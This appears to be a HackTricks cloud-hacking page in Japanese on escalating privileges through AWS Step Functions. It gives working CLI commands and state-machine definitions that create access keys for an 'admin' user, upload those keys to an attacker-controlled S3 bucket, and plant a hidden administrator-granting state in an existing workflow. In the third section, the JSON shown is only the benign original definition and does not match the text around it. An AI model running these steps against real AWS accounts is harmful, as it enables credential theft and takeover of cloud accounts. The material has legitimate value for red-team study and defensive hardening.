AWS - Step Functions Privesc
Reading time: 12 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Step Functions
このAWSサービスに関する詳細情報は、以下を確認してください:
タスクリソース
これらの特権昇格技術は、希望する特権昇格アクションを実行するために、いくつかのAWSステップファンクションリソースを使用する必要があります。
すべての可能なアクションを確認するには、自分のAWSアカウントに移動し、使用したいアクションを選択して、そのパラメータを確認できます。例えば:

または、API AWSドキュメントに移動して、各アクションのドキュメントを確認することもできます:
states:TestState
& iam:PassRole
states:TestState
および iam:PassRole
権限を持つ攻撃者は、既存のステートマシンを作成または更新することなく、任意のステートをテストし、任意のIAMロールをそれに渡すことができ、ロールの権限を持つ他のAWSサービスへの不正アクセスを可能にします。これらの権限を組み合わせることで、ワークフローの操作からデータの変更、データ漏洩、リソースの操作、特権昇格に至るまで、広範な不正行為が引き起こされる可能性があります。
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
以下の例は、これらの権限とAWS環境の許可されたロールを利用して、admin
ユーザーのアクセスキーを作成するステートをテストする方法を示しています。この許可されたロールには、ステートがiam:CreateAccessKey
アクションを実行できるようにする高権限ポリシー(例えば、arn:aws:iam::aws:policy/AdministratorAccess
)が関連付けられている必要があります。
- stateDefinition.json:
{
"Type": "Task",
"Parameters": {
"UserName": "admin"
},
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"End": true
}
- コマンド 実行して特権昇格を行う:
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
{
"output": "{
\"AccessKey\":{
\"AccessKeyId\":\"AKIA1A2B3C4D5E6F7G8H\",
\"CreateDate\":\"2024-07-09T16:59:11Z\",
\"SecretAccessKey\":\"1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j1a2b3c4d5e6f7g8h9i0j\",
\"Status\":\"Active\",
\"UserName\":\"admin\"
}
}",
"status": "SUCCEEDED"
}
潜在的影響: ワークフローの不正実行と操作、および機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。
states:CreateStateMachine
& iam:PassRole
& (states:StartExecution
| states:StartSyncExecution
)
states:CreateStateMachine
と iam:PassRole
を持つ攻撃者は、ステートマシンを作成し、任意のIAMロールを提供することができ、ロールの権限を持つ他のAWSサービスへの不正アクセスを可能にします。前の特権昇格技術 (states:TestState
& iam:PassRole
) と対照的に、これは自動的には実行されず、ステートマシン上での実行を開始するために states:StartExecution
または states:StartSyncExecution
の権限が必要です (states:StartSyncExecution
は 標準ワークフローには利用できず、 表現ステートマシンのみに適用されます)。
# Create a state machine
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
# Start a state machine execution
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
# Start a Synchronous Express state machine execution
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
以下の例は、admin
ユーザーのアクセスキーを作成し、このアクセスキーを攻撃者が制御する S3 バケットに流出させるステートマシンを作成する方法を示しています。これには、これらの権限と AWS 環境の許可されたロールを利用します。この許可されたロールには、ステートマシンが iam:CreateAccessKey
および s3:putObject
アクションを実行できるようにする高権限ポリシー(例えば arn:aws:iam::aws:policy/AdministratorAccess
)が関連付けられている必要があります。
- stateMachineDefinition.json:
{
"Comment": "Malicious state machine to create IAM access key and upload to S3",
"StartAt": "CreateAccessKey",
"States": {
"CreateAccessKey": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:iam:createAccessKey",
"Parameters": {
"UserName": "admin"
},
"ResultPath": "$.AccessKeyResult",
"Next": "PrepareS3PutObject"
},
"PrepareS3PutObject": {
"Type": "Pass",
"Parameters": {
"Body.$": "$.AccessKeyResult.AccessKey",
"Bucket": "attacker-controlled-S3-bucket",
"Key": "AccessKey.json"
},
"ResultPath": "$.S3PutObjectParams",
"Next": "PutObject"
},
"PutObject": {
"Type": "Task",
"Resource": "arn:aws:states:::aws-sdk:s3:putObject",
"Parameters": {
"Body.$": "$.S3PutObjectParams.Body",
"Bucket.$": "$.S3PutObjectParams.Bucket",
"Key.$": "$.S3PutObjectParams.Key"
},
"End": true
}
}
}
- コマンド 実行して ステートマシンを作成:
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
{
"stateMachineArn": "arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine",
"creationDate": "2024-07-09T20:29:35.381000+02:00"
}
- コマンドは、以前に作成したステートマシンの実行を開始するために実行されました:
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
{
"executionArn": "arn:aws:states:us-east-1:123456789012:execution:MaliciousStateMachine:1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f",
"startDate": "2024-07-09T20:33:35.466000+02:00"
}
warning
攻撃者が制御するS3バケットは、被害者アカウントからのs3:PutObjectアクションを受け入れる権限を持っている必要があります。
潜在的な影響: ワークフローの不正実行と操作、機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。
states:UpdateStateMachine
& (必ずしも必要ではない) iam:PassRole
states:UpdateStateMachine
権限を持つ攻撃者は、ステートマシンの定義を変更でき、特権昇格につながる追加のステルス状態を追加することができます。このようにして、正当なユーザーがステートマシンの実行を開始すると、この新しい悪意のあるステルス状態が実行され、特権昇格が成功します。
ステートマシンに関連付けられたIAMロールがどれだけ許可的であるかによって、攻撃者は2つの状況に直面します。
- 許可的なIAMロール: ステートマシンに関連付けられたIAMロールがすでに許可的である場合(例えば、
arn:aws:iam::aws:policy/AdministratorAccess
ポリシーが添付されている場合)、特権を昇格させるために**iam:PassRole
** 権限は必要ありません。ステートマシンの定義を更新する必要がないため、ステートマシンの定義だけで十分です。 - 許可的でないIAMロール: 前のケースとは対照的に、ここでは攻撃者は**
iam:PassRole
** 権限も必要です。ステートマシンの定義を変更するだけでなく、ステートマシンに許可的なIAMロールを関連付ける必要があるためです。
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
以下の例は、HelloWorld Lambda関数を呼び出す正当なステートマシンを更新し、ユーザー unprivilegedUser
を administrator
IAMグループに追加する追加のステートを加える方法を示しています。このようにして、正当なユーザーが更新されたステートマシンの実行を開始すると、この新しい悪意のあるステルスステートが実行され、特権昇格が成功します。
warning
ステートマシンに許可されたIAMロールが関連付けられていない場合、許可されたIAMロールを関連付けるためにIAMロールを更新するには iam:PassRole
権限も必要です(例えば、arn:aws:iam::aws:policy/AdministratorAccess
ポリシーが添付されたものなど)。
{
"Comment": "Hello world from Lambda state machine",
"StartAt": "Start PassState",
"States": {
"Start PassState": {
"Type": "Pass",
"Next": "LambdaInvoke"
},
"LambdaInvoke": {
"Type": "Task",
"Resource": "arn:aws:states:::lambda:invoke",
"Parameters": {
"FunctionName": "arn:aws:lambda:us-east-1:123456789012:function:HelloWorldLambda:$LATEST"
},
"Next": "End PassState"
},
"End PassState": {
"Type": "Pass",
"End": true
}
}
}
- コマンド 実行して 正当なステートマシン を 更新:
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
{
"updateDate": "2024-07-10T20:07:10.294000+02:00",
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
}
潜在的な影響: ワークフローの不正な実行と操作、および機密リソースへのアクセスが可能になり、重大なセキュリティ侵害につながる可能性があります。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。